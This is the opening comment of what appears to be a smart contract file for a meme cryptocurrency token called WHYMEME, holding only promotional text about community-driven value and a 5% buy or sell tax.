/**
    We are a community token that grows our value price with the growth of holders and believers. WE ARE THE WHYMEME COMMUNITY!
We’ve seen that the use of algorithmic stablecoins causes death spirals in two token models. We’ve completely taken that out and we’re moving towards direct ecosystem growth with 5% buy or sell taxes impeding access to market participants.
